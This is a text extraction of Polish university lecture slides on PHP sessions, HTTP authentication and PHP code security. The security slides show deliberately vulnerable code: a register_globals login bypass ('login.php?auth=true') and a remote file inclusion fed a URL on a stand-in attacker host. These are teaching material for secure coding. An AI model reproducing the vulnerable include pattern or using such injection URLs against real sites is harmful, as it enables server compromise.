Paweł Rajba pawel@ii.uni.wroc.pl http://www.ii.uni.wroc.pl/~pawel/ Kurs WWW – wykład 10 Paweł Rajba pawel@ii.uni.wroc.pl http://www.ii.uni.wroc.pl/~pawel/

Slides:



Advertisements
Podobne prezentacje
Systemy uwierzytelniania w serwisach internetowych
Advertisements

C++ wykład 2 ( ) Klasy i obiekty.
Marcin Piotrowski. Najpopularniejszymi darmowymi przeglądarkami są Internet Explorer, Opera, Mozilla Firefox, Google Chrome.
Wykorzystanie konta uczelnianego dla potrzeb stron WWW
Serwer WWW na AT89C52 Adrian Witlib Maciej Przeor ID06SK1
SQL INJECTION Wykorzystanie błędów w językach skryptowych
Wprowadzenie do języka skryptowego PHP
Wprowadzenie do języka skryptowego PHP
Bezpieczeństwo aplikacji WWW
Kamil Smitkiewicz Bezpieczeństwo w PHP.
PROGRAMOWANIE STRUKTURALNE
PHP + MySQL część II.
ADAM Active Directory w trybie aplikacyjnym
Uwierzytelnianie i autoryzacja dostępu do portali
Metody autoryzacji użytkowników wymaga integracji z systemem operacyjnym nie wymaga logowania mała pewność mechanizmu wymaga logowania duża pewność mechanizmu.
Obsługa plików csv Do odczytu z pliku csv można użyć następującego kodu: $fp = fopen ("strony.csv","r"); $num = 0; while ($data = fgetcsv ($fp, 1000, ";"))
Damian Urbańczyk PHP Obsługa sesji.
Obsługa serwera zdalnego przez klienta FTP
Proxy (WWW cache) Sieci Komputerowe
SO – LAB3 Wojciech Pieprzyca
Systemy zarządzania treścią CMS
Zarządzanie stanem aplikacji Mechanizm Sesji
SAMBA JAKO SERWER PLIKÓW
Instalacja Apacha Instalacja serwera www ogranicza sie do uruchomienia pliku .exe oraz do wpisania adresu serwera, oraz a administratora czego.
Narzędzia internetowe Paweł Rajba ttp://pawel.ii.uni.wroc.pl/
Konfiguracja polcenie SUDO
Inżynieria Oprogramowania
Budowa, przeglądanie i modyfikacja
USŁUGA FTP 1. Definicja FTP. FTP (File Transfer Protocol, ang. protokół transmisji plików) jest protokołem typu klient-serwer, który umożliwia przesyłanie.
PRACA W DOMENIE Różnice użytkowe między pracą w domenie i grupie roboczej. 1. Ekran logowania. - wciśnięcie klawiszy [Ctrl+Alt+Delete], a następnie podanie.
SIEĆ P2P 1. Definicja sieci równouprawnionej. To taka sieć, która składa się z komputerów o takim samym priorytecie ważności, a każdy z nich może pełnić.
Jak przeżyć w Internecie? Czyli o bezpieczeństwie słów kilka… Michał Jankowski MJ Software Solutions Services.
Konfiguracja kont w programie Adobe Dreamweaver
A ctive S erver P ages Technologia dostępu do danych.
ANNA BANIEWSKA SYLWIA FILUŚ
Użytkownicy i przywileje Sesja - przykład Błędy Komunikacja międzyskryptowa Wykład 83PD Technologie internetowe.
Technologie internetowe II
Prezentacja i szkolenie
Systemy wejścia i wyjścia Michał Wrona. Co to jest system wejścia i wyjścia? Pobierania informacji ze źródeł danych, zdolnych przesyłać sekwencje bajtów,
Administracja serwerami sieciowymi Linux Serwer FTP
Tworzenie Aplikacji Internetowych dr Wojciech M. Gańcza 8.
Tworzenie Aplikacji Internetowych dr Wojciech M. Gańcza 3.
Teleinformatyka Wykład 7 Komunikacja klient-serwer – cd.
Linux w sieci Konfigurowanie interfejsu sieciowego.
Integracja iStore z programem Subiekt GT
Rozdział V: Globalne sieci komputerowe
Serwery Aplikacji Tworzenie bezpiecznych aplikacji.
PL/SQL – dalsza wędrówka
Projektowanie stron WWW
Administracja systemami operacyjnymi Wiosna 2014
Wprowadzenie do spisów treści j a następnie naciśnij klawisz F5 lub kliknij pozycję Pokaz slajdów > Od początku, aby rozpocząć kurs. Na pasku komunikatów.
Jak przeżyć w Internecie? Czyli o bezpieczeństwie słów kilka… Michał Jankowski MJ Software Solutions Services.
Technologie internetowe Wykład 5 Wprowadzenie do skrytpów serwerowych.
Andrzej Majkowski 1 informatyka +. 2 Bezpieczeństwo protokołu HTTP Paweł Perekietka.
Podstawy języka skryptów
1. Logowanie z usługą Active Directory. a) logowanie do domeny Windows 2003 Server odbywa się znacznie szybciej niż w poprzednich wersjach. b) nie ma odwołania.
Serwery Aplikacji Bezpieczeństwo w Aplikacjach.NET uruchamianych pod IIS Arkadiusz Popa, WMiI, UŁ.
Prezentacja przykładowych rozwiązań realizujących autoryzację w serwisie WWW w oparciu o bazę LDAP Jerzy Szymański.
Kurs WWW – wykład 9 Paweł Rajba
Model warstwowy ISO-OSI
Wykład 2 Programowanie obiektowe. Programowanie obiektowe wymaga dobrego zrozumienia działania funkcji definiowanych przez użytkownika, w ten sposób będziemy.
Maciej Wierzchowski Mariusz Sołtysiak. Założenia  Autentykacja użytkownia  Autentykacja dostawcy  Zapewnienie bezpiecznego połączenia.
ASP.NET Dostęp do bazy danych z poziomu kodu Elżbieta Mrówka-Matejewska.
Dominik Benduski Michał Mandecki Podstawy Visual Basic w Excelu.
Zarządzanie stanem w aplikacjach ASP.NET Elżbieta Mrówka-Matejewska
Czym jest PHP? ● Językiem programowania przeznaczonym do tworzenia i generowania dynamicznych stron WWW. Działa po stronie serwera: Klient Żądanie strony.
Strumienie, Wczytywanie, Zapisywanie, Operacje na plikach
Programowanie Obiektowe – Wykład 2
Sieci komputerowe Usługi sieciowe 27/09/2002.
Aplikacje i usługi internetowe
Zapis prezentacji:

Paweł Rajba pawel@ii.uni.wroc.pl http://www.ii.uni.wroc.pl/~pawel/ Kurs WWW – wykład 10 Paweł Rajba pawel@ii.uni.wroc.pl http://www.ii.uni.wroc.pl/~pawel/

PHP i sesje - wprowadzenie Jak to działa? po co to? – stan aplikacji rola klienta i serwera identyfikator sesji (cookie lub zmienna GET)

PHP i sesje - wprowadzenie Utworzenie sesji Korzystanie z sesji Klient wysyła żądanie zasobu KLIENT SERWER Serwer odsyła identyfikator nowo utworzonej sesji Na serwerze tworzona jest nowa sesja Klient wysyła żądanie zasobu dołączając identyfikator sesji KLIENT SERWER Na serwerze odtwarzane są dane sesji

PHP i sesje – zestaw funkcji string session_name ([string nazwa]) pobierz i/lub ustaw nazwę dla sesji wywołujemy przed session_start() używana w identyfikatorze sesji (ciastka lub URL, domyślnie PHPSESSID) jeśli chcemy zmienić nazwę, to musimy ją wywoływać na każdej stronie – w przeciwnym razie od razu przywracana jest wartość z session.name

PHP i sesje – zestaw funkcji string session_id ([string id]) pobierz i/lub ustaw identyfikator sesji jeżeli zmienić identyfikator bieżącej sesji, to musimy wywołać funkcję przed session_start() bool session_start(void) tworzy (lub odtwarza) sesję w oparciu o identyfikator sesji przekazywany przez COOKIE lub parametr w URL. jeżeli używamy sesji opartych o cookies, to session_start() musi być wywołane przed wysłaniem czegokolwiek do przeglądarki

PHP i sesje – zestaw funkcji void session_write_close(void) zapisuje dane i kończy sesję void session_commit(void) alias do session_write_close() bool session_destroy(void) niszczy sesję, nie usuwa ciasteczka prosty sposób usunięcia ciastka sesyjnego: setcookie(session_name(),"",0,"/")

PHP i sesje – przykład licznik.php

PHP i sesje – zestaw funkcji string session_save_path([string ścieżka]) pobierz i/lub ustaw ścieżkę zapisu bieżącej sesji w Foxserv domyślnie: C:\FoxServ\sessiondata bool session_regenerate_id(void) tworzy nowy identyfikator dla sesji (dostępne od PHP 4.3.2)

PHP i sesje – zestaw funkcji string session_encode(void ) koduje dane sesji do postaci stringu bool session_decode(string dane) odtwarza dane sesji ze stringu najpierw trzeba użyć session_start void session_set_cookie_params( int czas_życia [, string ścieżka [, string domena]]) ustawia parametry ciastka sesji

PHP i sesje – zestaw funkcji array session_get_cookie_params(void) zwraca parametry ciasteczka sesji lifetime – czas życia sesji path – ścieżka dla sesji domain – domena ciasteczka secure – ciasteczko może być przesyłane tylko poprzez biezpieczne połączenie

PHP i sesje – zmienne (cz. 1) bool session_register(mixed nazwa [, mixed ...]) rejestruje zmienną globalną jako zmienną sesji $dilbert = "Fajny komiks"; session_register("dilbert"); bool session_unregister(string nazwa) wyjestruj zmienną z bieżącej sesji

PHP i sesje – zmienne (cz. 1) void session_unset(void) zwalnia wszystkie zmienne sesji bool session_is_registered(string nazwa) sprawdza, czy zmienna jest zarejestrowana

PHP i sesje – zmienne (cz. 2) Używamy tablicy $_SESSION[ ] (w starszych wersjach $HTTP_SESSION_VARS[ ]) ustanowienie zmiennej sesyjnej $_SESSION["zmienna"] = "a to jej wartosc" usunięcie zmiennej sesyjnej unset($_SESSION["zmienna"]) usunięcie wszystkich zmiennych $_SESSION = array() sprawdzenie, czy zmienna istnieje isset($_SESSION["zmienna"])

PHP i sesje - przykłady Niszczenie sesji (pierwszy sposób) <?php // Jeśli używasz sesion_name("cośtam"), // nie zapomnij o tym teraz! session_start(); session_unset(); session_destroy(); ?>

PHP i sesje - przykłady Niszczenie sesji (drugi sposób) <?php // Jeśli używasz sesion_name("cośtam"), // nie zapomnij o tym teraz! session_start(); $_SESSION = array(); session_destroy(); ?>

PHP i sesje Propagowanie identyfikatora w URLu kiedy stosować? stała SID opcja --enable-trans-sid opcja --enable-trans-sid, a wydajność – różnica ok. 10% Zapisywanie danych sesji w bazie danych do czego może się to przydać? (personalizacja) funkcje session_encode() i session_decode()

PHP i sesje – opcje session.save_path session.name określa, gdzie będą tworzone pliki z danymi sesji domyślnie: C:\FoxServ\sessiondata session.name określa nazwę sesji, która będzie też nazwą ciastka domyślnie PHPSESSID

PHP i sesje – opcje session.auto_start session.cookie_lifetime określa, czy sesja ma być uruchamiana automatycznie na początku wywołania domyślnie 0 (wyłączone) session.cookie_lifetime określa w sekundach długość życia ciastka sesyjnego 0 oznacza "dopóki przeglądarka nie została zamknięta" domyślnie 0

PHP i sesje – opcje session.use_cookies session.use_only_cookies określa, czy identyfikator sesji będzie po stronie klienta pamiętany za pomocą ciastka domyślnie 1 (włączone) session.use_only_cookies określa, czy do pomiętania id sesji mają być wykorzystywane tylko ciastka domyślnie 0 (ze względu na kompatybilność) zwiększa bezpieczeństwo

Kontrola dostępu do danych Terminologia Authentication – identyfikacja Authorization – czy jest dostęp do zasobu Access Control – sterowanie dostępem do zasobu (może zależeć od innych czynników)

Autoryzacja HTTP Rodzaje Basic Digest Główna zaleta Digest – hasło nie jest przesyłane jawnym tekstem

Autoryzacja HTTP w Apache'u Najpierw sprawdzamy, czy apache jest skompilowany z modułem mod_auth.c apache.exe -l httpd -l Upewniamy się, że pliku httpd.conf jest wpis AllowOverride All Teraz, możemy utworzyć plik .htaccess w każdym katalogu w którym chcemy sterować prawami dostepu

Autoryzacja HTTP w Apache'u Przykładowa zawartość pliku .htaccess <Files tajne.php supertajne.php> AuthType Basic AuthUserFile /usr/local/apache/users AuthName "Administration Module" Require valid-user // pawel zenek Order allow,deny Allow from swiatowit.ii.uni.wroc.pl Deny from all Satisfy any // all </Files> Pominięcie znacznika Files sprawi, że chroniona będzie cała zawartość katalogu

Autoryzacja HTTP w Apache'u Na końcu tworzymy użytkownika htpasswd -c users pawel htpasswd users john istotne, żeby pliku z użytkownikami nie trzymać w miejscu dostępnym z przeglądarki

Autoryzacja HTTP w Apache'u Podsumowanie wystarcza przy mało wymagającej autoryzacji ograniczenia przy zarządzaniu użytkownikami interfejs przeglądarki wylogowanie poprzez wyłączenie przeglądarki konieczność ingerencji w konfigurację serwera

Autoryzacja HTTP w PHP Kilka uwag na początek: obsługiwana tylko wtedy, gdy PHP działa jako moduł Apache (jako CGI – nie działa) obecnie obsługiwana jest tylko autoryzacja typu Basic po wysłaniu nagłówków, użytkownik wpisuje dane użytkownika i hasło, które są przekazywane w zmiennych $_SERVER['PHP_AUTH_USER'] $_SERVER['PHP_AUTH_PW']

Autoryzacja HTTP w PHP Przykład: httpauth.php

Autoryzacja – sesje w PHP Etapy dostępu do danych Logowanie pobranie danych użytkownika (login + hasło) weryfikacja odnotowanie faktu weryfikacji w logach rozpoczęcie sesji

Autoryzacja – sesje w PHP Etapy dostępu do danych Użycie sesji podtrzymanie sesji ponowna weryfikacja uprawnień Wylogowanie zakończenie sesji odnotowanie faktu w logach usunięcie danych związanych z sesją (ważne)

Autoryzacja – sesje w PHP Przykład: login.php i pokaz.php

Autoryzacja – sesje w PHP Sprawdzanie hasła: jak w przykładzie na podstawie pliku tekstowego na podstawie bazy danych W miarę możliwości nigdzie nie trzymamy haseł w postaci jawnej

Autoryzacja – sesje w PHP Zalety przechowywania haseł w pliku dobre dla obsługi kilku użytkowników łatwa obsługa nie wymagają dodatkowego oprogramowania Zalety przechowywania haseł w bazie danych możliwość obsługi bardzo wielu użytkowników szybszy dostęp lepsze zarządzanie zawartością większe bezpieczeństwo

Autoryzacja – sesje w PHP Przesyłanie hasła jawny tekst szyfrogram md5 (obliczany po stronie klienta)

Bezpieczeństwo kodu PHP Opcja register_globals w php.ini jej włączenie powoduje, że wszystkie dane pochodzące od użytkownika są dostępne z poziomu zmiennej (POST, GET, COOKIE, ...) powinna być wyłączona (Off) i tak jest domyślnie Przykład (login.php): <?php if ($password == "as3jksj4w") $auth=true; if ($auth) uruchom_tajne_procedury(); ?>

Bezpieczeństwo kodu PHP A teraz uruchamiamy skrypt login.php?auth=true Przykład: (login.php ulepszony) <?php $auth=false; if ($password == "as3jksj4w") $auth=true; if ($auth) uruchom_tajne_procedury(); ?>

Bezpieczeństwo kodu PHP Raportowanie błędów – error_reporting() podczas pisania skryptów, testowania należy włączyć raportowanie error_reporting(E_ALL) przy wdrażaniu aplikacji należy wszystkie raportowania bezwzględnie powyłączać error_reporting(0)

Bezpieczeństwo kodu PHP Weryfikacja danych pochodzących od użytkownika sprawdzić należy wszystkie dane w szczególności pod kątem typ danych zawartość długość akceptujemy te tylko dane, których się spodziewaliśmy nigdy nie polegamy na weryfikacji po stronie klienta

Bezpieczeństwo kodu PHP W jaki sposób weryfikować? sprawdzić typy skorzystać z wyrażeń regularnych sprawdzić wielkość sprawdzić zbiór dopuszczalnych wartości ...

Bezpieczeństwo kodu PHP Przykład: <?php if (isset($_GET["plik"])) include($_GET["plik"]); ?> i agresor robi tak: skrypt.php?plik=http://agresor.pl/zlosliwy.php

Bezpieczeństwo kodu PHP Wszystkie pliki PHP powinny być przez serwer parsowane jeżeli dajemy rozszerzenie .inc, to musimy się upewnić, że pliki z tym rozszerzeniem są interpretowane Nie należy dawać możliwości oglądnięcia wyniku działania funkcji phpinfo()

Bezpieczeństwo kodu PHP Upload plików należy upewniać się, że upload pliku faktycznie miał miejsce – służą do tego funkcje is_uploaded_file() move_uploaded_file()

Bezpieczeństwo kodu PHP Tryb bezpieczny (safe_mode) jeśli możliwe, należy z tego korzystać, chociaż lepiej dobrze skonfigurować serwer WWW skrypt ma dostęp tylko to tych plików których właścicielem jest właściciel skryptu

Bezpieczeństwo kodu PHP Dyrektywy odpowiedzialne za tryb bezpieczny safe_mode = Off safe_mode_gid = 0 safe_mode_include_dir = safe_mode_exec_dir = open_basedir = safe_mode_allowed_env_vars = PHP_ safe_mode_protected_env_vars = LD_LIBRARY_PATH disable_functions =

Bezpieczeństwo kodu PHP Ukrywanie rozszerzeń dodajemy w pliku httpd.conf (ewentualnie .htaccess) AddType application/x-httpd-php .htm .html Ukrywanie hasła do bazy danych (plik httpd.conf) <Directory "C:\Foxserv\www\test"> php_admin_value open_basedir C:\Foxserv\www\test php_admin_value disable_functions a3js8ge4a2 </Directory> <?php echo ini_get("disabled_functions"); ?>